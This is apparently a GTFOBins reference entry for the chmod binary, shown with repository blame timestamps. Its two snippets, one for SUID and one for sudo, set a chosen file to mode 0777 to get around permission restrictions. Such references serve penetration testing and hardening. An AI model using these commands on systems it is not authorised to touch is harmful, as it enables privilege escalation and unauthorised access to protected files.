GTFOBins.github.io/_gtfobins/chmod.md

13 lines
297 B
Markdown
Raw Normal View History

---
description: This can be run with elevated privileges to change permissions and then read, write, or execute a file.
functions:
2018-10-05 19:55:38 +02:00
suid:
- code: |
LFILE=file_to_change
./chmod 0777 $LFILE
2018-10-05 19:55:38 +02:00
sudo:
- code: |
LFILE=file_to_change
sudo chmod 0777 $LFILE
---